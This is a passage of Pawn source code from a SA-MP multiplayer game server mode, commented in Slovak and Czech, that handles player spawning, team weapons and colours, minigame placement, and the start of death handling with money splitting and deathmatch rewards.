                        GivePlayerWeapon(playerid,29,90);
                    }
                    else if(Player[playerid][Team]==27)
                    {
                        GivePlayerWeapon(playerid,32,150);
                        GivePlayerWeapon(playerid,22,70);
                        GivePlayerWeapon(playerid,4,1);
                    }
                    else if(Player[playerid][Team]==28)
                    {
                        GivePlayerWeapon(playerid,31,100);
                        GivePlayerWeapon(playerid,28,150);
                        GivePlayerWeapon(playerid,27,80);
                        GivePlayerWeapon(playerid,3,1);
                    }
                    
                    if(Player[playerid][ClanP] != 9999) //ak je hrac v clane
                    {
                        if(Player[playerid][ClanRank] != 9999)
                        {
                            if(Player[playerid][HouseP] == 9999 || Player[playerid][FirstSpawn]==true)
                            {
                                ResetPlayerWeapons(playerid);
                                 SetPlayerPos(playerid, Clan[Player[playerid][ClanP]][cpiX], Clan[Player[playerid][ClanP]][cpiY], Clan[Player[playerid][ClanP]][cpiZ]);
                                 SetPlayerInterior(playerid, Clan[Player[playerid][ClanP]][cIntID]);
                                 SetPlayerVirtualWorld(playerid, Clan[Player[playerid][ClanP]][cVWID]);

                                 new clanid = Player[playerid][ClanP];
                                 new w[8][32];
                                 new a[8][16];
                                 new cway[64];
                                 format(cway,64, "SL/Server/Clans/Clan%d.cfg", clanid);

                                 SetPlayerColor(playerid, dini_Int(cway, "Color"));

                                 for(new x=0; x<8; x++)
                                 {
                                     new W_id[16];
                                     format(W_id,16, "W%d_id", x);
                                     new W_ammo[16];
                                     format(W_ammo,16, "W%d_ammo", x);

                                     if(dini_Int(cway, W_id) == 0)
                                    {
                                        format(w[x],32, "{090909}- empty -");
                                        format(a[x],16, " ");
                                    }
                                     else
                                    {
                                        format(w[x],32, "{ffffff}%s", WeaponName(dini_Int(cway, W_id)));
                                        format(a[x],16, " (%dks)", dini_Int(cway, W_ammo));
                                    }
                                 }

                                      if(dini_Int(cway, "WeaponSlots") == 3) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2]);
                                 else if(dini_Int(cway, "WeaponSlots") == 4) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3]);
                                 else if(dini_Int(cway, "WeaponSlots") == 5) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4]);
                                 else if(dini_Int(cway, "WeaponSlots") == 6) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5]);
                                 else if(dini_Int(cway, "WeaponSlots") == 7) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5],w[6],a[6]);
                                 else if(dini_Int(cway, "WeaponSlots") == 8) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5],w[6],a[6],w[7],a[7]);

                                 Player[playerid][FNC_04]=0;

                                ShowPlayerDialog(playerid,Dialog_ClanWList,DIALOG_STYLE_LIST,"Výber zbraní",gBIGSTRING,"OK","Cancel");
                            }
                        }
                    }
                    if(Player[playerid][IsPlayerJailed] == true)
                    {
                        ResetPlayerWeapons(playerid);
                         SetPlayerPos(playerid,198.3,162.017,1004);
                         SetPlayerInterior(playerid,3);
                         SetPlayerVirtualWorld(playerid,2997);
                         TextDrawHideForPlayer(playerid,PrisonTD[playerid]);
                         TextDrawShowForPlayer(playerid,PrisonTD[playerid]);
                         return 0;
                    }

                    //---------------------------

                    new cway0f00[64];
                    if(Player[playerid][ClanP] != 9999) format(cway0f00,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                         if(Player[playerid][Team] == 0)  SetPlayerColor(playerid, COLOR_WHITE);
                    else if(Player[playerid][Team] == 1)  SetPlayerColor(playerid, COLOR_GREEN_LIGHT);
                    else if(Player[playerid][Team] == 2)  SetPlayerColor(playerid, COLOR_PURPLE);
                    else if(Player[playerid][Team] == 3)  SetPlayerColor(playerid, COLOR_YELLOW);
                    else if(Player[playerid][Team] == 4)  SetPlayerColor(playerid, COLOR_GRAY);
                    else if(Player[playerid][Team] == 5)  SetPlayerColor(playerid, COLOR_BLUE);
                    else if(Player[playerid][Team] == 6)  SetPlayerColor(playerid, COLOR_GREEN_DARK);
                    else if(Player[playerid][Team] == 7)  SetPlayerColor(playerid, COLOR_KHAKI);
                    else if(Player[playerid][Team] == 8)  SetPlayerColor(playerid, COLOR_BLACK_UNVISIBLE);
                    else if(Player[playerid][Team] == 9)  SetPlayerColor(playerid, COLOR_GREEN);
                    else if(Player[playerid][Team] == 10) SetPlayerColor(playerid, COLOR_YELLOWGREEN);
                    else if(Player[playerid][Team] == 11) SetPlayerColor(playerid, COLOR_BLUE);
                    else if(Player[playerid][Team] == 12) SetPlayerColor(playerid, COLOR_ORANGE);
                    else if(Player[playerid][Team] == 13) SetPlayerColor(playerid, COLOR_CYAN);
                    else if(Player[playerid][Team] == 14) SetPlayerColor(playerid, COLOR_RED);
                    else if(Player[playerid][Team] == 15) SetPlayerColor(playerid, COLOR_REDORANGE);
                    else if(Player[playerid][Team] == 16) SetPlayerColor(playerid, COLOR_BROWN);
                    else if(Player[playerid][Team] == 17) SetPlayerColor(playerid, COLOR_RED_DARK);
                    else if(Player[playerid][Team] == 18) SetPlayerColor(playerid, COLOR_BLUE_DARK);
                    else if(Player[playerid][Team] == 19) SetPlayerColor(playerid, COLOR_BLUE);
                    else if(Player[playerid][Team] == 20) SetPlayerColor(playerid, COLOR_PINK_DARK);
                    else if(Player[playerid][Team] == 21) SetPlayerColor(playerid, COLOR_BLUE_DARK);
                    else if(Player[playerid][Team] == 22) SetPlayerColor(playerid, COLOR_BLUE);
                    else if(Player[playerid][Team] == 23) SetPlayerColor(playerid, COLOR_RED_DARK);
                    else if(Player[playerid][Team] == 24) SetPlayerColor(playerid, COLOR_BROWN);
                    else if(Player[playerid][Team] == 25) SetPlayerColor(playerid, COLOR_BLUE);
                    else if(Player[playerid][Team] == 26) SetPlayerColor(playerid, COLOR_RED_LIGHT);
                    else if(Player[playerid][Team] == 27) SetPlayerColor(playerid, COLOR_BLACKGREEN);
                    else if(Player[playerid][Team] == 28) SetPlayerColor(playerid, COLOR_BLUE_LIGHT);
                    else if(Player[playerid][ClanP] != 9999) SetPlayerColor(playerid, dini_Int(cway0f00, "Color"));
                    else if(Player[playerid][Team] == 100) SetPlayerColor(playerid, COLOR_WHITE_UNVISIBLE);

                    //==================================================================

                    if(Player[playerid][FirstSpawn]==false)
                    {
                             if(Player[playerid][Team]==0)  SetPlayerPos(playerid,1247.9,-1560,13.5);
                         else if(Player[playerid][Team]==1)  SetPlayerPos(playerid,2512.238,-1665.44,13.72);
                        else if(Player[playerid][Team]==2)  SetPlayerPos(playerid,2460.511,-1389.657,24.18);
                        else if(Player[playerid][Team]==3)  SetPlayerPos(playerid,2681.585,-1402.5,30.65);
                        else if(Player[playerid][Team]==4)  SetPlayerPos(playerid,2261.424,-1906.548,15.19);
                        else if(Player[playerid][Team]==5)  SetPlayerPos(playerid,1275.044,-1662.776,19.734);
                        else if(Player[playerid][Team]==6)  SetPlayerPos(playerid,2189.4,-2262.0,13.4);
                        else if(Player[playerid][Team]==7)  SetPlayerPos(playerid,-1687.8872070313,-18.303468704224,3.5546875);
                        else if(Player[playerid][Team]==8)  SetPlayerPos(playerid,1831.054,-1108.974,23.9);
                        else if(Player[playerid][Team]==9)  SetPlayerPos(playerid,1341.356,-1675.227,17.715);
                         else if(Player[playerid][Team]==10) SetPlayerPos(playerid,2151.487,-1807.884,13.546);
                         else if(Player[playerid][Team]==11) SetPlayerPos(playerid,1554.952,-1675.59,16.195);
                         else if(Player[playerid][Team]==12) SetPlayerPos(playerid,2137.989,-1905.364,13.546);
                         else if(Player[playerid][Team]==13) SetPlayerPos(playerid,1576.791,-1479.614,14.212);
                         else if(Player[playerid][Team]==14) SetPlayerPos(playerid,1172.788,-1323.434,15.4);
                         else if(Player[playerid][Team]==15) SetPlayerPos(playerid,967.77,-1252.67,16.956);
                         else if(Player[playerid][Team]==16) SetPlayerPos(playerid,285.164,2002.722,17.64);
                         else if(Player[playerid][Team]==17) SetPlayerPos(playerid,1740.384,-1456.816,13.525);
                         else if(Player[playerid][Team]==18) SetPlayerPos(playerid,732.647,-1337.733,13.533);
                         else if(Player[playerid][Team]==19) SetPlayerPos(playerid,2333.949,51.892,26.484);
                         else if(Player[playerid][Team]==20) SetPlayerPos(playerid,-2178.4504394531,-223.88455200195,36.519073486328);
                         else if(Player[playerid][Team]==21) SetPlayerPos(playerid,-2521.3037109375,-624.64526367188,132.78244018555);
                         else if(Player[playerid][Team]==22) SetPlayerPos(playerid,-1605.5047607422,711.10198974609,13.8671875);
                         else if(Player[playerid][Team]==23) SetPlayerPos(playerid,-2026.3106689453,67.152297973633,28.691593170166);
                         else if(Player[playerid][Team]==24) SetPlayerPos(playerid,-1526.2415771484,485.71505737305,7.1796875);
                         else if(Player[playerid][Team]==25) SetPlayerPos(playerid,-2455.6298828125,503.88360595703,30.078125);
                         else if(Player[playerid][Team]==26) SetPlayerPos(playerid,-1643.1689453125,1385.2122802734,7.1796875);
                         else if(Player[playerid][Team]==27) SetPlayerPos(playerid,-1864.6663818359,-1559.3851318359,22.2109375);
                         else if(Player[playerid][Team]==28) SetPlayerPos(playerid,-2172.7509765625,680.07299804688,55.162162780762);

                        //---------------------------------------< NOTEBOOK GAMES SPAWN >---------------------------------------//

                        if(Player[playerid][ME2_Player]!=9999)
                        {
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerArmour(playerid,0);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid,1000);
                             SetPlayerFacingAngle(playerid,0);
                             SetPlayerSkin(playerid,115);
                             Player[playerid][Skin]=115;
                             SetPlayerPos(playerid,-1745-(Player[playerid][ME2_Player]*2),977,95.84375);
                             if(Game[ME2_State]!=1) TogglePlayerControllable(playerid, 0);
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][NFSSA_Player]!=9999)
                        {
                            new vehicleid = Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]];
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerArmour(playerid,0);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid,1001);
                             SetVehicleVirtualWorld(vehicleid,1001);

                                  if(Player[playerid][NFSSA_Player]==0) SetVehiclePos(vehicleid,151.14701843,-1552.38562012,10.42512131);
                             else if(Player[playerid][NFSSA_Player]==1) SetVehiclePos(vehicleid,148.19712830,-1549.76806641,10.07828045);
                             else if(Player[playerid][NFSSA_Player]==2) SetVehiclePos(vehicleid,154.40931702,-1555.00634766,10.79069614);
                             else if(Player[playerid][NFSSA_Player]==3) SetVehiclePos(vehicleid,157.22140503,-1557.58093262,11.12893105);
                             else if(Player[playerid][NFSSA_Player]==4) SetVehiclePos(vehicleid,160.45805359,-1560.19287109,11.49095726);

                             SetVehicleZAngle(vehicleid,321.5);

                             PutPlayerInVehicle(playerid,vehicleid,0);

                             if(Game[NFSSA_State]!=1) TogglePlayerControllable(playerid,0);
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][MTBR_Player]!=9999)
                        {
                            new vehicleid = MTBR_Bike[Player[playerid][MTBR_Player]];
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerArmour(playerid,0);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid, 1007);
                             SetVehicleVirtualWorld(vehicleid, 1007);

                                  if(Player[playerid][MTBR_Player]==0) SetVehiclePos(vehicleid,584.65386963,-3725.74243164,50.69584274);
                             else if(Player[playerid][MTBR_Player]==1) SetVehiclePos(vehicleid,583.86614990,-3725.08056641,50.69584274);
                             else if(Player[playerid][MTBR_Player]==2) SetVehiclePos(vehicleid,583.15155029,-3724.29394531,50.69584274);
                             else if(Player[playerid][MTBR_Player]==3) SetVehiclePos(vehicleid,582.28790283,-3723.46362305,50.69584274);

                             PutPlayerInVehicle(playerid,vehicleid,0);

                             SetVehicleZAngle(vehicleid, 314.000);

                             if(Game[MTBR_State]!=1) TogglePlayerControllable(playerid,0);
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][D_Player]!=9999)
                        {
                            new vehicleid = Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]];
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid,1002);
                             SetVehicleVirtualWorld(vehicleid,1002);

                                  if(Player[playerid][D_Player]==0 ) { SetVehiclePos(vehicleid,1591.74084473,-1221.95422363,277.87261963); SetVehicleZAngle(vehicleid,180); }
                            else if(Player[playerid][D_Player]==1 ) { SetVehiclePos(vehicleid,1585.04211426,-1222.00207520,277.87423706); SetVehicleZAngle(vehicleid,180); }
                            else if(Player[playerid][D_Player]==2 ) { SetVehiclePos(vehicleid,1552.20715332,-1251.01281738,277.88226318); SetVehicleZAngle(vehicleid,270); }
                            else if(Player[playerid][D_Player]==3 ) { SetVehiclePos(vehicleid,1580.26196289,-1266.48864746,277.88281250); SetVehicleZAngle(vehicleid,0); }
                            else if(Player[playerid][D_Player]==4 ) { SetVehiclePos(vehicleid,1593.54882812,-1245.62963867,277.87774658); SetVehicleZAngle(vehicleid,90); }
                            else if(Player[playerid][D_Player]==5 ) { SetVehiclePos(vehicleid,1593.74694824,-1239.81042480,277.87634277); SetVehicleZAngle(vehicleid,90); }
                            else if(Player[playerid][D_Player]==6 ) { SetVehiclePos(vehicleid,1571.17529297,-1221.75671387,277.87762451); SetVehicleZAngle(vehicleid,180); }
                            else if(Player[playerid][D_Player]==7 ) { SetVehiclePos(vehicleid,1555.64233398,-1262.10314941,277.87670898); SetVehicleZAngle(vehicleid,315); }
                            else if(Player[playerid][D_Player]==8 ) { SetVehiclePos(vehicleid,1551.72192383,-1230.07507324,277.88238525); SetVehicleZAngle(vehicleid,270); }
                            else if(Player[playerid][D_Player]==9 ) { SetVehiclePos(vehicleid,1593.66308594,-1257.83996582,277.88073730); SetVehicleZAngle(vehicleid,90); }
                            else if(Player[playerid][D_Player]==10) { SetVehiclePos(vehicleid,1571.91918945,-1266.20983887,277.88281250); SetVehicleZAngle(vehicleid,0); }
                            else if(Player[playerid][D_Player]==11) { SetVehiclePos(vehicleid,1593.70935059,-1232.98498535,277.87466431); SetVehicleZAngle(vehicleid,90); }
                            else if(Player[playerid][D_Player]==12) { SetVehiclePos(vehicleid,1552.04882812,-1237.72363281,277.88232422); SetVehicleZAngle(vehicleid,270); }
                            else if(Player[playerid][D_Player]==13) { SetVehiclePos(vehicleid,1558.22363281,-1222.20312500,277.88079834); SetVehicleZAngle(vehicleid,180); }
                            else if(Player[playerid][D_Player]==14) { SetVehiclePos(vehicleid,1587.40588379,-1266.34497070,277.88281250); SetVehicleZAngle(vehicleid,0); }
                            else if(Player[playerid][D_Player]==15) { SetVehiclePos(vehicleid,1551.93457031,-1243.64172363,277.88232422); SetVehicleZAngle(vehicleid,270); }
                            else if(Player[playerid][D_Player]==16) { SetVehiclePos(vehicleid,1564.56201172,-1222.02929688,277.87924194); SetVehicleZAngle(vehicleid,180); }
                            else if(Player[playerid][D_Player]==17) { SetVehiclePos(vehicleid,1593.54931641,-1251.83068848,277.87927246); SetVehicleZAngle(vehicleid,90); }
                            else if(Player[playerid][D_Player]==18) { SetVehiclePos(vehicleid,1577.88928223,-1222.20031738,277.87597656); SetVehicleZAngle(vehicleid,180); }
                            else if(Player[playerid][D_Player]==19) { SetVehiclePos(vehicleid,1564.18066406,-1266.23901367,277.88281250); SetVehicleZAngle(vehicleid,0); }

                             PutPlayerInVehicle(playerid,vehicleid,0);

                             TogglePlayerControllable(playerid,0);
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][TA_Player]!=9999)
                        {
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerArmour(playerid,0);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid,1003);
                             SetPlayerFacingAngle(playerid,0);
                             if(Player[playerid][TA_Player]>=0 && Player[playerid][TA_Player]<=4)
                            {
                                 SetPlayerColor(playerid,COLOR_RED_LIGHT_UNVISIBLE);

                                 switch(random(4))
                                {
                                     case 0: SetPlayerPos(playerid,-2172.1616210938,679.82141113281,55.160579681396);
                                     case 1: SetPlayerPos(playerid,-2193.529,646.957,49.445);
                                     case 2: SetPlayerPos(playerid,-2224.9440917969,632.25146484375,54.942771911621);
                                     case 3: SetPlayerPos(playerid,-2208.4658203125,692.08160400391,50.710731506348);
                                 }

                                 new randomskin = 121+random(5);
                                 SetPlayerSkin(playerid, randomskin);
                                 Player[playerid][Skin] = randomskin;

                                 if(Player[playerid][TA_Player]==0)

                                {
                                     GivePlayerWeapon(playerid,30,250);
                                     GivePlayerWeapon(playerid,24,50);
                                     GivePlayerWeapon(playerid,27,20);
                                     GivePlayerWeapon(playerid,32,150);
                                 }
                                 else if(Player[playerid][TA_Player]==1)
                                {
                                     GivePlayerWeapon(playerid,30,120);
                                     GivePlayerWeapon(playerid,22,100);
                                     GivePlayerWeapon(playerid,4,1);
                                     GivePlayerWeapon(playerid,33,25);
                                 }
                                 else if(Player[playerid][TA_Player]==2)
                                {
                                     GivePlayerWeapon(playerid,35,1);
                                     GivePlayerWeapon(playerid,22,100);
                                     GivePlayerWeapon(playerid,18,5);
                                     GivePlayerWeapon(playerid,27,30);
                                 }
                                 else if(Player[playerid][TA_Player]==3)
                                {
                                     GivePlayerWeapon(playerid,28,300);
                                     GivePlayerWeapon(playerid,23,120);
                                     GivePlayerWeapon(playerid,8,1);
                                 }
                                 else if(Player[playerid][TA_Player]==4)
                                {
                                     GivePlayerWeapon(playerid,16,15);
                                     GivePlayerWeapon(playerid,40,5);
                                     GivePlayerWeapon(playerid,39,5);
                                     GivePlayerWeapon(playerid,24,80);
                                 }
                             }
                            else if(Player[playerid][TA_Player]==5)
                            {
                                 SetPlayerColor(playerid,COLOR_BLUE_UNVISIBLE);
                                 SetPlayerSkin(playerid,281);
                                 Player[playerid][Skin]=281;
                                 SetPlayerPos(playerid,-2251.6281738281,649.68994140625,49.296875);
                                 GivePlayerWeapon(playerid,22,100);
                                 GivePlayerWeapon(playerid,24,60);
                                 GivePlayerWeapon(playerid,29,150);
                             }
                            else if(Player[playerid][TA_Player]==6)
                            {
                                 SetPlayerColor(playerid,COLOR_BLUE_UNVISIBLE);
                                 SetPlayerSkin(playerid,286);
                                 Player[playerid][Skin]=286;
                                 switch(random(3))
                                {
                                     case 0: SetPlayerPos(playerid,-2246.3513183594,605.66033935547,41.625053405762);
                                     case 1: SetPlayerPos(playerid,-2218.8581542969,573.43408203125,35.171875);
                                     case 2: SetPlayerPos(playerid,-2210.3972167969,572.54577636719,35.015625);
                                 }
                                 GivePlayerWeapon(playerid,29,200);
                                 GivePlayerWeapon(playerid,23,80);
                                 GivePlayerWeapon(playerid,27,75);
                                 GivePlayerWeapon(playerid,17,10);
                             }
                            else if(Player[playerid][TA_Player]==7)
                            {
                                 SetPlayerColor(playerid,COLOR_BLUE_UNVISIBLE);
                                 SetPlayerSkin(playerid,285);
                                 Player[playerid][Skin]=285;
                                 SetPlayerPos(playerid,-2262.2697753906,656.6279296875,49.296875);
                                 GivePlayerWeapon(playerid,31,250);
                                 GivePlayerWeapon(playerid,28,150);
                                 GivePlayerWeapon(playerid,27,30);
                                 GivePlayerWeapon(playerid,34,5);
                             }
                            else if(Player[playerid][TA_Player]==8)
                            {
                                 SetPlayerColor(playerid,COLOR_BLUE_UNVISIBLE);
                                 SetPlayerSkin(playerid,287);
                                 Player[playerid][Skin]=287;
                                 SetPlayerPos(playerid,-2257.2075195313,661.16510009766,49.296875);
                                 GivePlayerWeapon(playerid,34,30);
                                 GivePlayerWeapon(playerid,4,1);
                                 GivePlayerWeapon(playerid,22,80);
                             }
                            else if(Player[playerid][TA_Player]==9)
                            {
                                 SetPlayerColor(playerid,COLOR_BLUE_UNVISIBLE);
                                 SetPlayerSkin(playerid,295);
                                 Player[playerid][Skin]=295;
                                 new randomp = random(6);
                                 switch(randomp)
                                {
                                     case 0: SetPlayerPos(playerid,-2246.3513183594,605.66033935547,41.625053405762);
                                     case 1: SetPlayerPos(playerid,-2218.8581542969,573.43408203125,35.171875);
                                     case 2: SetPlayerPos(playerid,-2210.3972167969,572.54577636719,35.015625);
                                     case 3: SetPlayerPos(playerid,-2262.2697753906,656.6279296875,49.296875);
                                     case 4: SetPlayerPos(playerid,-2257.2075195313,661.16510009766,49.296875);
                                     case 5: SetPlayerPos(playerid,-2251.6281738281,649.68994140625,49.296875);
                                 }
                                 GivePlayerWeapon(playerid,40,10);
                                 GivePlayerWeapon(playerid,39,10);
                                 GivePlayerWeapon(playerid,23,50);
                                 GivePlayerWeapon(playerid,28,80);
                             }
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][SP_Player]!=9999)
                        {
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerArmour(playerid,0);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid,1004);
                             SetPlayerFacingAngle(playerid,0);
                             SetPlayerPos(playerid,301.745,-3587.588,302);
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][DA_Player]!=9999)
                        {
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerHealth(playerid, 100);
                             SetPlayerArmour(playerid, 100);
                             GivePlayerWeapon(playerid,26,50000);
                             SetPlayerVirtualWorld(playerid,1005);
                                  if(Player[playerid][DA_Player]==0) SetPlayerPos(playerid,713.914,-3421.979,51.045);
                             else if(Player[playerid][DA_Player]==1) SetPlayerPos(playerid,760.967,-3467.290,51.045);
                             TogglePlayerControllable(playerid, 0);
                             SetPlayerSkillLevel(playerid, WEAPONSKILL_SAWNOFF_SHOTGUN, 999);
                        }
                        //--------------------------------------------------------------
                        else if(Player[playerid][DTC_Player]!=9999)
                        {
                            ResetPlayerWeapons(playerid);
                             ResetPlayerACMoney(playerid);
                             SetPlayerArmour(playerid,0);
                             SetPlayerInterior(playerid,0);
                             SetPlayerVirtualWorld(playerid,1006);
                             SetPlayerFacingAngle(playerid,0);
                             SetPlayerPos(playerid,1341.6265869141,-3803.0190429688,101.12159729004);
                        }
                        //--------------------------------------------------------------
                        if(Player[playerid][HouseP]!=9999 && Player[playerid][IsPlayerJailed]==false && Player[playerid][DM_Player]==9999 && Player[playerid][ME2_Player]==9999 && Player[playerid][NFSSA_Player]==9999 && Player[playerid][MTBR_Player]==9999 && Player[playerid][D_Player]==9999 && Player[playerid][TA_Player]==9999 && Player[playerid][DA_Player]==9999 && Player[playerid][SP_Player]==9999 && Player[playerid][DTC_Player]==9999 && Player[playerid][LoadPlayerStats]==false)
                        {
                            ShowPlayerDialog(playerid,Dialog_HouseSpawn,DIALOG_STYLE_MSGBOX,"House Spawn","Vyber si kam sa chceš spawnuť","Job","Dom");
                            SetPlayerCameraPos(playerid,1061.720,-1492.135,30.504);
                            SetPlayerCameraLookAt(playerid,1464.758,-1222.032,91.411);
                            Player[playerid][IPIP]=true;
                        }
                        //--------------------------------------------------------------
                        if(Player[playerid][DM_Player]!=9999)
                        {
                            TogglePlayerControllable(playerid, 0);
                            ResetPlayerWeapons(playerid);
                            SetPlayerArmour(playerid,100);
                            SetPlayerVirtualWorld(playerid,200);
                            GivePlayerWeapon(playerid,DM[Weapon1],50000);
                            GivePlayerWeapon(playerid,DM[Weapon2],50000);
                            GivePlayerWeapon(playerid,DM[Weapon3],50000);
                            HidePlayerMarker(playerid);

                                 if(Player[playerid][DM_Player]==1)  SetPlayerPos(playerid,619.10833740,896.28710938,-42.53791809);
                            else if(Player[playerid][DM_Player]==2)  SetPlayerPos(playerid,576.04296875,833.89941406,-30.16480637);
                            else if(Player[playerid][DM_Player]==3)  SetPlayerPos(playerid,496.78027344,929.79394531,-17.40005684);
                            else if(Player[playerid][DM_Player]==4)  SetPlayerPos(playerid,501.41918945,812.36700439,-3.22333908);
                            else if(Player[playerid][DM_Player]==5)  SetPlayerPos(playerid,677.67694092,827.03723145,-27.84430695);
                            else if(Player[playerid][DM_Player]==6)  SetPlayerPos(playerid,587.29632568,870.67816162,-42.14631271);
                            else if(Player[playerid][DM_Player]==7)  SetPlayerPos(playerid,623.95996094,894.78222656,-35.11788940);
                            else if(Player[playerid][DM_Player]==8)  SetPlayerPos(playerid,716.28710938,907.62988281,-19.05780792);
                            else if(Player[playerid][DM_Player]==9)  SetPlayerPos(playerid,591.83886719,939.70996094,-41.84207153);
                            else if(Player[playerid][DM_Player]==10) SetPlayerPos(playerid,534.82421875,836.23632812,-41.18457794);
                        }

                    //-------------------------------------------------------------------------------------------

                    }
                    else
                    {
                        Player[playerid][FirstSpawn]=false;

                        SetPlayerPos(playerid, dini_Float(way,"Pos_X"), dini_Float(way,"Pos_Y"), dini_Float(way,"Pos_Z")+0.1750);
                        SetPlayerACMoney(playerid, dini_Int(way,"LastMoney"));
                        Player[playerid][Team] = dini_Int(way,"Team");
                        SetPlayerVirtualWorld(playerid, dini_Int(way,"World"));
                        SetPlayerInterior(playerid, dini_Int(way,"Interior"));
                        SetPlayerHealth(playerid, dini_Float(way,"LastHP"));
                        SetPlayerArmour(playerid, dini_Float(way,"LastArmour"));
                        SetPlayerSkin(playerid, dini_Int(way,"LastSkin"));
                        Player[playerid][Skin] = dini_Int(way,"LastSkin");

                        //--------------------------------------

                        if(GetPlayerVirtualWorld(playerid) >= 10000 && GetPlayerVirtualWorld(playerid) <= (10000 + MAX_FIRMS)) Player[playerid][FirmID] = (GetPlayerVirtualWorld(playerid) - 10000);

                        //--------------------------------------

                        new mobil_way_D00W[64];
                        format(mobil_way_D00W,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                        new messages=0;

                        for(new m=0; m<11; m++)
                        {
                            new MSG_read[16];
                            format(MSG_read,16, "MSG%d_read", m);
                            if(dini_Int(mobil_way_D00W, MSG_read) == 1) messages++;
                        }

                        if(messages > 0)
                        {
                            if(messages >= 5) format(gBIGSTRING,sizeof(gBIGSTRING),"~w~Mas ~y~%d~w~ novych zprav !", messages);
                            else if(messages >  1) format(gBIGSTRING,sizeof(gBIGSTRING),"~w~Mas ~y~%d~w~ nove zpravy !", messages);
                            else if(messages == 1) format(gBIGSTRING,sizeof(gBIGSTRING),"~w~Mas ~y~1~w~ novu zpravu !");

                            FormatPlayerInfoBox(playerid, "~g~Mobil", gBIGSTRING, 3500);
                        }
                    }
                }
            }
        }
    }
    return 1;
}

public OnPlayerDeath(playerid, killerid, reason)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(IsPlayerConnected(killerid))
            {
                GivePlayerACMoney(killerid, floatround(floatmul(GetPlayerACMoney(playerid), 0.35)));
            }
            SetPlayerACMoney(playerid, floatround(floatmul(GetPlayerACMoney(playerid), 0.65)));
        
            if(IsPlayerUsingLoopingAnimation[playerid]) IsPlayerUsingLoopingAnimation[playerid] = 0;
            
            UsePlayerStoppingAnimation[playerid]=false;
        
            if(Player[playerid][MissionID] != 9999)
            {
                FormatPlayerInfoBox(playerid,"~g~Mission","~r~Misia neuspesna!",2500);

                Player[playerid][MissionID]=9999;
                Player[playerid][MissionInfo]=9999;

                DisablePlayerRaceCheckpoint(playerid);
            }

            if(Player[playerid][DriftState] == true) CancelDrifting(playerid);

            if(Player[playerid][DM_Player]!=9999)
            {
                Player[playerid][DM_Player]=9999;
                DM[Players]--;

                if(DM[Players]==1)
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[i][DM_Player]!=9999)
                                {
                                    Player[i][DM_Player]=9999;
                                    new msg[128], Name[24];
                                    GetPlayerName(i,Name,24);
                                    format(msg,128,"~r~Hrac %s (%d) vyhral Death Match a vyhral %d$ !",Name,i,DM[Reward]);
                                    GameTextForAll(msg, 6000, 5);
                                    format(msg,128,"Hrac %s (%d) vyhral Death Match a vyhral %d$ !",Name,i,DM[Reward]);
                                    SendClientMessageToAll(COLOR_GREEN, msg);
                                    new msgx2[128];
                                    format(msgx2,128,"Vyhral si %d$ v DeathMatchi, peniaze boli automaticky uložene do banky",DM[Reward]);
                                    SendClientMessage(i,COLOR_YELLOW,msgx2);
                                    Player[i][Bank]+=DM[Reward];
                                    DM[Reward]=0;
                                    SpawnPlayer(i);
                                    DM_End();
                                }
                            }
                        }
                    }
                }
            }

            if(((Player[killerid][Team] != Player[playerid][Team]) && Player[playerid][ClanP]==9999) || ((Player[killerid][ClanP] != Player[playerid][ClanP]) && Player[playerid][ClanP]!=9999))
            {
                new Float:pskill;
                     if(Player[playerid][Skill]>80.0) pskill=1.2;
                else if(Player[playerid][Skill]>65.0) pskill=1.1;
                else if(Player[playerid][Skill]>50.0) pskill=1.0;
                else if(Player[playerid][Skill]>37.5) pskill=0.9;
                else if(Player[playerid][Skill]>25.0) pskill=0.8;
